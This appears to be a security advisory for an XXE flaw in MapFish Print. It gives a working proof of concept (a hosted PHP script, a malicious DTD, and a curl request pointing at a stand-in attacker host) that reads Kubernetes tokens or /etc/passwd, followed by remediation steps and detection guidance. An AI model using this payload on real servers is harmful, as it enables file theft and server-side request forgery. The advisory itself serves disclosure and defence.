CVE-2026-55848: mapfish-print: XXE on MapFish Print allows reading arbitrary files of certain types
Summary XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.
https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507
Details To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.
The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.
PoC Host this php file somewhere as xxe.php:
<?php $p=$GET['p']; $d=dirname($SERVER['SCRIPTNAME']); $u=(empty($SERVER['HTTPS'])?'http':'https')."://{$SERVER['HTTPHOST']}$d/evil.dtd"; header('Content-Type: application/xml'); echo "<?xml version=\"1.0\"?> <!DOCTYPE x [ <!ENTITY % payload SYSTEM \"file://$p\"> <!ENTITY % dtd SYSTEM \"$u\"> %dtd; ]> <wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\"> <!-- ".strrepeat('x',200)." --> <gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy> </wfs:FeatureCollection>";
and beneath host this "evil.dtd"
<!ENTITY % exfil "<!ENTITY % error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;
Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)
curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'
Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.
It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://
Impact disclose local files. blind(ish) SSRF (depends on the servers response data)
Other sources
mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/org.mapfish.print:print-servletto a version that resolves this vulnerability.Fixed in 4.0.5 - Upgrade
Upgrade
maven/org.mapfish.print:print-libto a version that resolves this vulnerability.Fixed in 4.0.5 - Upgrade
Upgrade
maven/org.mapfish.print:print-servletto a version that resolves this vulnerability.Fixed in 3.33.16 - Upgrade
Upgrade
maven/org.mapfish.print:print-libto a version that resolves this vulnerability.Fixed in 3.33.16 - Upgrade
Upgrade
maven/org.mapfish.print:print-servletto a version that resolves this vulnerability.Fixed in 3.31.24 - Upgrade
Upgrade
maven/org.mapfish.print:print-servletto a version that resolves this vulnerability.Fixed in 3.30.32 - Upgrade
Upgrade
maven/org.mapfish.print:print-libto a version that resolves this vulnerability.Fixed in 3.30.32 - Upgrade
Upgrade
maven/org.mapfish:print.print-servletto a version that resolves this vulnerability.Fixed in 3.28.30 - Upgrade
Upgrade
maven/org.mapfish.print:print-libto a version that resolves this vulnerability.Fixed in 3.28.30 - Upgrade
Upgrade
mapfish-printto a version that resolves this vulnerability.Fixed in 3.28.30 - Upgrade
Upgrade
mapfish-printto a version that resolves this vulnerability.Fixed in 3.30.32 - Upgrade
Upgrade
mapfish-printto a version that resolves this vulnerability.Fixed in 3.31.24 - Upgrade
Upgrade
mapfish-printto a version that resolves this vulnerability.Fixed in 3.33.16 - Upgrade
Upgrade
mapfish-printto a version that resolves this vulnerability.Fixed in 4.0.5
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
Deployments using the MapFish Print components listed as print-servlet, print-lib, or print.print-servlet are relevant. Exploitation is tied to use of the Print feature with a GML layer URL.
What does an attacker need to exploit it?
The attacker must be able to submit a Print request containing an attacker-controlled URL for a GML layer. They also need to host a remote script and DTD file that the target can retrieve.
What information can be disclosed?
The issue can expose arbitrary local files of certain types, including examples such as /etc/passwd, Kubernetes secrets, and certificates. The disclosed file content is expanded into a request path during the GML layer's 404 handling.
What evidence could indicate exploitation attempts?
Look for Print requests using externally controlled GML layer URLs and outbound retrievals of remote XML or DTD content. The described behavior produces a default 404 response whose path contains the expanded local file content.